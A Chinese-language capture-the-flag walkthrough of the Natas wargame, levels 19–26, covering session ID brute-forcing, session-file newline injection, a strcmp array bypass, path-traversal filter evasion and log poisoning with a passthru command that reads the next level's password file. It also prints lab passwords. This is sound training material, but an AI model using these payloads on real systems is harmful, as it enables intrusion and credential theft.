[+] PHPSESSID= 34352d61646d696e...: 34352d61646d696e
[+] PHPSESSID= 34362d61646d696e...: 34362d61646d696e
[+] PHPSESSID= 34372d61646d696e...: 34372d61646d696e
[+] PHPSESSID= 34382d61646d696e...: 34382d61646d696e
[+] PHPSESSID= 34392d61646d696e...: 34392d61646d696e
[+] PHPSESSID= 35302d61646d696e...: 35302d61646d696e
[+] PHPSESSID= 35312d61646d696e...: 35312d61646d696e
[+] PHPSESSID= 35322d61646d696e...: 35322d61646d696e
[+] PHPSESSID= 35332d61646d696e...: 35332d61646d696e
[+] PHPSESSID= 35342d61646d696e...: 35342d61646d696e
[+] PHPSESSID= 35352d61646d696e...: 35352d61646d696e
[+] PHPSESSID= 35362d61646d696e...: 35362d61646d696e
[+] PHPSESSID= 35372d61646d696e...: 35372d61646d696e
[+] PHPSESSID= 35382d61646d696e...: 35382d61646d696e
[+] PHPSESSID= 35392d61646d696e...: 35392d61646d696e
[+] PHPSESSID= 36302d61646d696e...: 36302d61646d696e
[+] PHPSESSID= 36312d61646d696e...: 36312d61646d696e
[+] PHPSESSID= 36322d61646d696e...: 36322d61646d696e
[+] PHPSESSID= 36332d61646d696e...: 36332d61646d696e
[+] PHPSESSID= 36342d61646d696e...: 36342d61646d696e
[+] PHPSESSID= 36352d61646d696e...: 36352d61646d696e
[+] PHPSESSID= 36362d61646d696e...: 36362d61646d696e
[+] PHPSESSID= 36372d61646d696e...: 36372d61646d696e
[+] PHPSESSID= 36382d61646d696e...: 36382d61646d696e
[+] PHPSESSID= 36392d61646d696e...: 36392d61646d696e
[+] PHPSESSID= 37302d61646d696e...: 37302d61646d696e
[+] PHPSESSID= 37312d61646d696e...: 37312d61646d696e
[+] PHPSESSID= 37322d61646d696e...: 37322d61646d696e
[+] PHPSESSID= 37332d61646d696e...: 37332d61646d696e
[+] PHPSESSID= 37342d61646d696e...: 37342d61646d696e
[+] PHPSESSID= 37352d61646d696e...: 37352d61646d696e
[+] PHPSESSID= 37362d61646d696e...: 37362d61646d696e
[+] PHPSESSID= 37372d61646d696e...: 37372d61646d696e
[+] PHPSESSID= 37382d61646d696e...: 37382d61646d696e
[+] PHPSESSID= 37392d61646d696e...: 37392d61646d696e
[+] PHPSESSID= 38302d61646d696e...: 38302d61646d696e
[+] PHPSESSID= 38312d61646d696e...: 38312d61646d696e
[+] PHPSESSID= 38322d61646d696e...: 38322d61646d696e
[+] PHPSESSID= 38332d61646d696e...: 38332d61646d696e
[+] PHPSESSID= 38342d61646d696e...: 38342d61646d696e
[+] PHPSESSID= 38352d61646d696e...: 38352d61646d696e
[+] PHPSESSID= 38362d61646d696e...: 38362d61646d696e
[+] PHPSESSID= 38372d61646d696e...: 38372d61646d696e
[+] PHPSESSID= 38382d61646d696e...: 38382d61646d696e
[+] PHPSESSID= 38392d61646d696e...: 38392d61646d696e
[+] PHPSESSID= 39302d61646d696e...: 39302d61646d696e
[+] PHPSESSID= 39312d61646d696e...: 39312d61646d696e
[+] PHPSESSID= 39322d61646d696e...: 39322d61646d696e
[+] PHPSESSID= 39332d61646d696e...: 39332d61646d696e
[+] PHPSESSID= 39342d61646d696e...: 39342d61646d696e
[+] PHPSESSID= 39352d61646d696e...: 39352d61646d696e
[+] PHPSESSID= 39362d61646d696e...: 39362d61646d696e
[+] PHPSESSID= 39372d61646d696e...: 39372d61646d696e
[+] PHPSESSID= 39382d61646d696e...: 39382d61646d696e
[+] PHPSESSID= 39392d61646d696e...: 39392d61646d696e
[+] PHPSESSID= 3130302d61646d696e.: 3130302d61646d696e
[+] PHPSESSID= 3130312d61646d696e.: 3130312d61646d696e
[+] PHPSESSID= 3130322d61646d696e.: 3130322d61646d696e
[+] PHPSESSID= 3130332d61646d696e.: 3130332d61646d696e
[+] PHPSESSID= 3130342d61646d696e.: 3130342d61646d696e
[+] PHPSESSID= 3130352d61646d696e.: 3130352d61646d696e
[+] PHPSESSID= 3130362d61646d696e.: 3130362d61646d696e
[+] PHPSESSID= 3130372d61646d696e.: 3130372d61646d696e
[+] PHPSESSID= 3130382d61646d696e.: 3130382d61646d696e
[+] PHPSESSID= 3130392d61646d696e.: 3130392d61646d696e
[+] PHPSESSID= 3131302d61646d696e.: 3131302d61646d696e
[+] PHPSESSID= 3131312d61646d696e.: 3131312d61646d696e
[+] PHPSESSID= 3131322d61646d696e.: 3131322d61646d696e
[+] PHPSESSID= 3131332d61646d696e.: 3131332d61646d696e
[+] PHPSESSID= 3131342d61646d696e.: 3131342d61646d696e
[+] PHPSESSID= 3131352d61646d696e.: 3131352d61646d696e
[+] PHPSESSID= 3131362d61646d696e.: 3131362d61646d696e
[+] PHPSESSID= 3131372d61646d696e.: 3131372d61646d696e
[+] PHPSESSID= 3131382d61646d696e.: 3131382d61646d696e
[+] PHPSESSID= 3131392d61646d696e.: 3131392d61646d696e
[+] PHPSESSID= 3132302d61646d696e.: 3132302d61646d696e
[+] PHPSESSID= 3132312d61646d696e.: 3132312d61646d696e
[+] PHPSESSID= 3132322d61646d696e.: 3132322d61646d696e
[+] PHPSESSID= 3132332d61646d696e.: 3132332d61646d696e
[+] PHPSESSID= 3132342d61646d696e.: 3132342d61646d696e
[+] PHPSESSID= 3132352d61646d696e.: 3132352d61646d696e
[+] PHPSESSID= 3132362d61646d696e.: 3132362d61646d696e
[+] PHPSESSID= 3132372d61646d696e.: 3132372d61646d696e
[+] PHPSESSID= 3132382d61646d696e.: 3132382d61646d696e
[+] PHPSESSID= 3132392d61646d696e.: 3132392d61646d696e
[+] PHPSESSID= 3133302d61646d696e.: 3133302d61646d696e
[+] PHPSESSID= 3133312d61646d696e.: 3133312d61646d696e
[+] PHPSESSID= 3133322d61646d696e.: 3133322d61646d696e
[+] PHPSESSID= 3133332d61646d696e.: 3133332d61646d696e
[+] PHPSESSID= 3133342d61646d696e.: 3133342d61646d696e
[+] PHPSESSID= 3133352d61646d696e.: 3133352d61646d696e
[+] PHPSESSID= 3133362d61646d696e.: 3133362d61646d696e
[+] PHPSESSID= 3133372d61646d696e.: 3133372d61646d696e
[+] PHPSESSID= 3133382d61646d696e.: 3133382d61646d696e
[+] PHPSESSID= 3133392d61646d696e.: 3133392d61646d696e
[+] PHPSESSID= 3134302d61646d696e.: 3134302d61646d696e
[+] PHPSESSID= 3134312d61646d696e.: 3134312d61646d696e
[+] PHPSESSID= 3134322d61646d696e.: 3134322d61646d696e
[+] PHPSESSID= 3134332d61646d696e.: 3134332d61646d696e
[+] PHPSESSID= 3134342d61646d696e.: 3134342d61646d696e
[+] PHPSESSID= 3134352d61646d696e.: 3134352d61646d696e
[+] PHPSESSID= 3134362d61646d696e.: 3134362d61646d696e
[+] PHPSESSID= 3134372d61646d696e.: 3134372d61646d696e
[+] PHPSESSID= 3134382d61646d696e.: 3134382d61646d696e
[+] PHPSESSID= 3134392d61646d696e.: 3134392d61646d696e
[+] PHPSESSID= 3135302d61646d696e.: 3135302d61646d696e
[+] PHPSESSID= 3135312d61646d696e.: 3135312d61646d696e
[+] PHPSESSID= 3135322d61646d696e.: 3135322d61646d696e
[+] PHPSESSID= 3135332d61646d696e.: 3135332d61646d696e
[+] PHPSESSID= 3135342d61646d696e.: 3135342d61646d696e
[+] PHPSESSID= 3135352d61646d696e.: 3135352d61646d696e
[+] PHPSESSID= 3135362d61646d696e.: 3135362d61646d696e
[+] PHPSESSID= 3135372d61646d696e.: 3135372d61646d696e
[+] PHPSESSID= 3135382d61646d696e.: 3135382d61646d696e
[+] PHPSESSID= 3135392d61646d696e.: 3135392d61646d696e
[+] PHPSESSID= 3136302d61646d696e.: 3136302d61646d696e
[+] PHPSESSID= 3136312d61646d696e.: 3136312d61646d696e
[+] PHPSESSID= 3136322d61646d696e.: 3136322d61646d696e
[+] PHPSESSID= 3136332d61646d696e.: 3136332d61646d696e
[+] PHPSESSID= 3136342d61646d696e.: 3136342d61646d696e
[+] PHPSESSID= 3136352d61646d696e.: 3136352d61646d696e
[+] PHPSESSID= 3136362d61646d696e.: 3136362d61646d696e
[+] PHPSESSID= 3136372d61646d696e.: 3136372d61646d696e
[+] PHPSESSID= 3136382d61646d696e.: 3136382d61646d696e
[+] PHPSESSID= 3136392d61646d696e.: 3136392d61646d696e
[+] PHPSESSID= 3137302d61646d696e.: 3137302d61646d696e
[+] PHPSESSID= 3137312d61646d696e.: 3137312d61646d696e
[+] PHPSESSID= 3137322d61646d696e.: 3137322d61646d696e
[+] PHPSESSID= 3137332d61646d696e.: 3137332d61646d696e
[+] PHPSESSID= 3137342d61646d696e.: 3137342d61646d696e
[+] PHPSESSID= 3137352d61646d696e.: 3137352d61646d696e
[+] PHPSESSID= 3137362d61646d696e.: 3137362d61646d696e
[+] PHPSESSID= 3137372d61646d696e.: 3137372d61646d696e
[+] PHPSESSID= 3137382d61646d696e.: 3137382d61646d696e
[+] PHPSESSID= 3137392d61646d696e.: 3137392d61646d696e
[+] PHPSESSID= 3138302d61646d696e.: 3138302d61646d696e
[+] PHPSESSID= 3138312d61646d696e.: 3138312d61646d696e
[+] PHPSESSID= 3138322d61646d696e.: 3138322d61646d696e
[+] PHPSESSID= 3138332d61646d696e.: 3138332d61646d696e
[+] PHPSESSID= 3138342d61646d696e.: 3138342d61646d696e
[+] PHPSESSID= 3138352d61646d696e.: 3138352d61646d696e
[+] PHPSESSID= 3138362d61646d696e.: 3138362d61646d696e
[+] PHPSESSID= 3138372d61646d696e.: 3138372d61646d696e
[+] PHPSESSID= 3138382d61646d696e.: 3138382d61646d696e
[+] PHPSESSID= 3138392d61646d696e.: 3138392d61646d696e
[+] PHPSESSID= 3139302d61646d696e.: 3139302d61646d696e
[+] PHPSESSID= 3139312d61646d696e.: 3139312d61646d696e
[+] PHPSESSID= 3139322d61646d696e.: 3139322d61646d696e
[+] PHPSESSID= 3139332d61646d696e.: 3139332d61646d696e
[+] PHPSESSID= 3139342d61646d696e.: 3139342d61646d696e
[+] PHPSESSID= 3139352d61646d696e.: 3139352d61646d696e
[+] PHPSESSID= 3139362d61646d696e.: 3139362d61646d696e
[+] PHPSESSID= 3139372d61646d696e.: 3139372d61646d696e
[+] PHPSESSID= 3139382d61646d696e.: 3139382d61646d696e
[+] PHPSESSID= 3139392d61646d696e.: 3139392d61646d696e
[+] PHPSESSID= 3230302d61646d696e.: 3230302d61646d696e
[+] PHPSESSID= 3230312d61646d696e.: 3230312d61646d696e
[+] PHPSESSID= 3230322d61646d696e.: 3230322d61646d696e
[+] PHPSESSID= 3230332d61646d696e.: 3230332d61646d696e
[+] PHPSESSID= 3230342d61646d696e.: 3230342d61646d696e
[+] PHPSESSID= 3230352d61646d696e.: 3230352d61646d696e
[+] PHPSESSID= 3230362d61646d696e.: 3230362d61646d696e
[+] PHPSESSID= 3230372d61646d696e.: 3230372d61646d696e
[+] PHPSESSID= 3230382d61646d696e.: 3230382d61646d696e
[+] PHPSESSID= 3230392d61646d696e.: 3230392d61646d696e
[+] PHPSESSID= 3231302d61646d696e.: 3231302d61646d696e
[+] PHPSESSID= 3231312d61646d696e.: 3231312d61646d696e
[+] PHPSESSID= 3231322d61646d696e.: 3231322d61646d696e
[+] PHPSESSID= 3231332d61646d696e.: 3231332d61646d696e
[+] PHPSESSID= 3231342d61646d696e.: 3231342d61646d696e
[+] PHPSESSID= 3231352d61646d696e.: 3231352d61646d696e
[+] PHPSESSID= 3231362d61646d696e.: 3231362d61646d696e
[+] PHPSESSID= 3231372d61646d696e.: 3231372d61646d696e
[+] PHPSESSID= 3231382d61646d696e.: 3231382d61646d696e
[+] PHPSESSID= 3231392d61646d696e.: 3231392d61646d696e
[+] PHPSESSID= 3232302d61646d696e.: 3232302d61646d696e
[+] PHPSESSID= 3232312d61646d696e.: 3232312d61646d696e
[+] PHPSESSID= 3232322d61646d696e.: 3232322d61646d696e
[+] PHPSESSID= 3232332d61646d696e.: 3232332d61646d696e
[+] PHPSESSID= 3232342d61646d696e.: 3232342d61646d696e
[+] PHPSESSID= 3232352d61646d696e.: 3232352d61646d696e
[+] PHPSESSID= 3232362d61646d696e.: 3232362d61646d696e
[+] PHPSESSID= 3232372d61646d696e.: 3232372d61646d696e
[+] PHPSESSID= 3232382d61646d696e.: 3232382d61646d696e
[+] PHPSESSID= 3232392d61646d696e.: 3232392d61646d696e
[+] PHPSESSID= 3233302d61646d696e.: 3233302d61646d696e
[+] PHPSESSID= 3233312d61646d696e.: 3233312d61646d696e
[+] PHPSESSID= 3233322d61646d696e.: 3233322d61646d696e
[+] PHPSESSID= 3233332d61646d696e.: 3233332d61646d696e
[+] PHPSESSID= 3233342d61646d696e.: 3233342d61646d696e
[+] PHPSESSID= 3233352d61646d696e.: 3233352d61646d696e
[+] PHPSESSID= 3233362d61646d696e.: 3233362d61646d696e
[+] PHPSESSID= 3233372d61646d696e.: 3233372d61646d696e
[+] PHPSESSID= 3233382d61646d696e.: 3233382d61646d696e
[+] PHPSESSID= 3233392d61646d696e.: 3233392d61646d696e
[+] PHPSESSID= 3234302d61646d696e.: 3234302d61646d696e
[+] PHPSESSID= 3234312d61646d696e.: 3234312d61646d696e
[+] PHPSESSID= 3234322d61646d696e.: 3234322d61646d696e
[+] PHPSESSID= 3234332d61646d696e.: 3234332d61646d696e
[+] PHPSESSID= 3234342d61646d696e.: 3234342d61646d696e
[+] PHPSESSID= 3234352d61646d696e.: 3234352d61646d696e
[+] PHPSESSID= 3234362d61646d696e.: 3234362d61646d696e
[+] PHPSESSID= 3234372d61646d696e.: 3234372d61646d696e
[+] PHPSESSID= 3234382d61646d696e.: 3234382d61646d696e
[+] PHPSESSID= 3234392d61646d696e.: 3234392d61646d696e
[+] PHPSESSID= 3235302d61646d696e.: 3235302d61646d696e
[+] PHPSESSID= 3235312d61646d696e.: 3235312d61646d696e
[+] PHPSESSID= 3235322d61646d696e.: 3235322d61646d696e
[+] PHPSESSID= 3235332d61646d696e.: 3235332d61646d696e
[+] PHPSESSID= 3235342d61646d696e.: 3235342d61646d696e
[+] PHPSESSID= 3235352d61646d696e.: 3235352d61646d696e
[+] PHPSESSID= 3235362d61646d696e.: 3235362d61646d696e
[+] PHPSESSID= 3235372d61646d696e.: 3235372d61646d696e
[+] PHPSESSID= 3235382d61646d696e.: 3235382d61646d696e
[+] PHPSESSID= 3235392d61646d696e.: 3235392d61646d696e
[+] PHPSESSID= 3236302d61646d696e.: 3236302d61646d696e
[+] PHPSESSID= 3236312d61646d696e.: 3236312d61646d696e
[+] PHPSESSID= 3236322d61646d696e.: 3236322d61646d696e
[+] PHPSESSID= 3236332d61646d696e.: 3236332d61646d696e
[+] PHPSESSID= 3236342d61646d696e.: 3236342d61646d696e
[+] PHPSESSID= 3236352d61646d696e.: 3236352d61646d696e
[+] PHPSESSID= 3236362d61646d696e.: 3236362d61646d696e
[+] PHPSESSID= 3236372d61646d696e.: 3236372d61646d696e
[+] PHPSESSID= 3236382d61646d696e.: 3236382d61646d696e
[+] PHPSESSID= 3236392d61646d696e.: 3236392d61646d696e
[+] PHPSESSID= 3237302d61646d696e.: 3237302d61646d696e
[+] PHPSESSID= 3237312d61646d696e.: 3237312d61646d696e
[+] PHPSESSID= 3237322d61646d696e.: 3237322d61646d696e
[+] PHPSESSID= 3237332d61646d696e.: 3237332d61646d696e
[+] PHPSESSID= 3237342d61646d696e.: 3237342d61646d696e
[+] PHPSESSID= 3237352d61646d696e.: 3237352d61646d696e
[+] PHPSESSID= 3237362d61646d696e.: 3237362d61646d696e
[+] PHPSESSID= 3237372d61646d696e.: 3237372d61646d696e
[+] PHPSESSID= 3237382d61646d696e.: 3237382d61646d696e
[+] PHPSESSID= 3237392d61646d696e.: 3237392d61646d696e
[+] PHPSESSID= 3238302d61646d696e.: 3238302d61646d696e
The PHPSESSID with correct password is: 3238312d61646d696e
提交正确的种子之后,看到
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
You are an admin. The credentials for the next level are:
Username: natas20
Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
natas20
审计代码
<?php
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode() ?: "";
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
return true;
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
与上一关相比,应该是给session进行某种特殊的加密,多一个$msg的DEBUG判断辅助得到凭证。重点是"myread"和"mywrite",尤其是键值对的构造,分清楚哪个是键哪个是值。
#myread
**foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
**
debug("Name set to " . $_REQUEST["name"]);
#mywrite
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
建议阅读键值对|Geek 了解其特性。
键值对结合DEBUG就是本题的突破口。
修改url,输入框随便输入点什么,刷新网站。

将http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201提交两遍(个人推测应该是 foreach的原因),就能得到答案。原理如下:
%0A是\n的url编码,而"myread"里面的foreach早已经\n过滤掉,并且\n后的元素会被赋值给前一个元素,前提是前一个元素不为空,即( if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];)。。所以,字符%0A前的输入除了空格,随便替换成什么都可以,比如admin,test,.......。%20是空格的url编码,而admin 1在"mywrite"里面的freach已经构造了键值对。在session_set_save_handler里面的一读一写(myread和mywirte的调用),使得debug的filename和data构造的键值对就会以一种新文件(file_put_contents)的形式出现,从而得到正确的密码(print_credentials)。

BPhv63cKE1lkQl04cE5CuFTzXe15NfiH。
natas21
访问得到两个页面,

审计代码,大致情况如下。

看样子关键点应该是admin = 1,不过的加上'submit': ' ',Value才会更新(update)。其实temp_cookies改为public_cookies更为合适,因为temp_url的session是和url的session是有所关联的(colocated with)。而temp_url之所以必须要提交这是因为页面2的session通过foreach可能进行了更新,只有更新后的session才是public_cookies存储的。只有这样,才能被传到页面1正常使用。

运行结果,d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz。

natas22
查看源码,
<?php
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>
<?php
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>
关键点是revelio,其值为1。实际上这是由$_SESSION,array_key_exists("admin", $_SESSION) 和$_SESSION["admin"] == 1共同作用的。相当于admin -->revelio,` $_SESSION -->GET,GET["revelio"]== 1被强行替换,因而构造payload ~/?revelio=1。这个逻辑类似数学函数的替换、编程的迭代法。
方法1:
输入
curl --user natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz 'http://natas22.natas.labs.overthewire.org/?revelio=1'

方法2:方法1等同于下列脚本,注意添加allow_redirects=False。这与
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
相对应。

得dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs。
natas23
审计代码,
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
这段字符串包含’iloveyou',并且其值大于10。由php的is_numeric的特性,输入123456iloveyou,得到
The credentials for the next level are:
Username: natas24 Password: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd
natas24
审计代码,
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
strcmp($_REQUEST["passwd"], "<censored>") 用来比较传入的密码($_REQUEST["passwd"])与硬编码的密码("<censored>")是否相等。不相等就会得到密码。相等就相当于直接泄露密码,这是不安全的,因而会报错。
strcmp比较的两个对象不是字符串时会报错,且会返回0,所以可以构造数组或object绕过(适用于php5版本)。
于是,

或者
curl -u natas24:MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd "http://natas24.natas.labs.overthewire.org/?passwd[]=as"
得ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws。
natas25
审计代码量骤增,
<body>
<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>
<?php
session_start();
setLanguage();
echo "<h2>$__GREETING</h2>";
echo "<p align=\"justify\">$__MSG";
echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
最关键的几行,能够看出大致情况。
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
function setLanguage(){
......
safeinclude("language/en");
}
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
看来../结合/var/www/natas/natas25/logs/natas25_session_id() .".log是有必要的。但是../和natas_webpass被绕过,可以用....//或..././来代替。然后,添加$_SERVER['HTTP_USER_AGENT']这个日志和safeinclude("language/en")可能是需要的。
构造
curl -su natas25:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws 'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_701j1s2hgaka9o1tboiblt2ep7.log' \
--cookie 'PHPSESSID=701j1s2hgaka9o1tboiblt2ep7' \
--user-agent '<?passthru("cat /etc/natas_webpass/natas26")?>'
结果如下:

在这里,passthru换成system的作用区别不大。
读者若有兴趣,可以对passthru,exec,system,@eval四种类型的一句话木马进行研讨。
等同于脚本
import requests
url = 'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_701j1s2hgaka9o1tboiblt2ep7.log'
username = 'natas25'
password = 'ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws'
cookies = {'PHPSESSID': '701j1s2hgaka9o1tboiblt2ep7'}
headers = {'User-Agent': '<?passthru("cat /etc/natas_webpass/natas26")?>'}
response = requests.get(url, auth=(username, password), cookies=cookies, headers=headers)
print(response.text)
cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE。
natas26
审计也是个大块头。
<body>
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
<h1>natas26</h1>
<div id="content">
Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>
<?php
session_start();
if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div>
</body>
梳理思路:(自己慢慢查看调用和赋值,理解其逻辑)
1.
drawImage($imgfile) -->drawFromUserdata($img) -->$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
2.
showImage($imgfile) --> echo "<img src=\"$filename\">"
3.
storeData()-->array()-->$new_object--->$drawing[] (<--unserialize(base64_decode($_COOKIE["drawing"])),array();) --->setcookie("drawing",base64_encode(serialize($drawing)))
4.
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
5. $imgfile="img/natas26_" . session_id() .".png"这里的session_id()无法直接查看。
看来,关键点就是1和3的逆过程,目的是寻找一个新的cookie。而这关键就是php的序列化和反序列化(unserialize),说不多说,直接干!
当然,可以Stack Overflow一波Python phpserialize | Stack Overflow

结果如下:
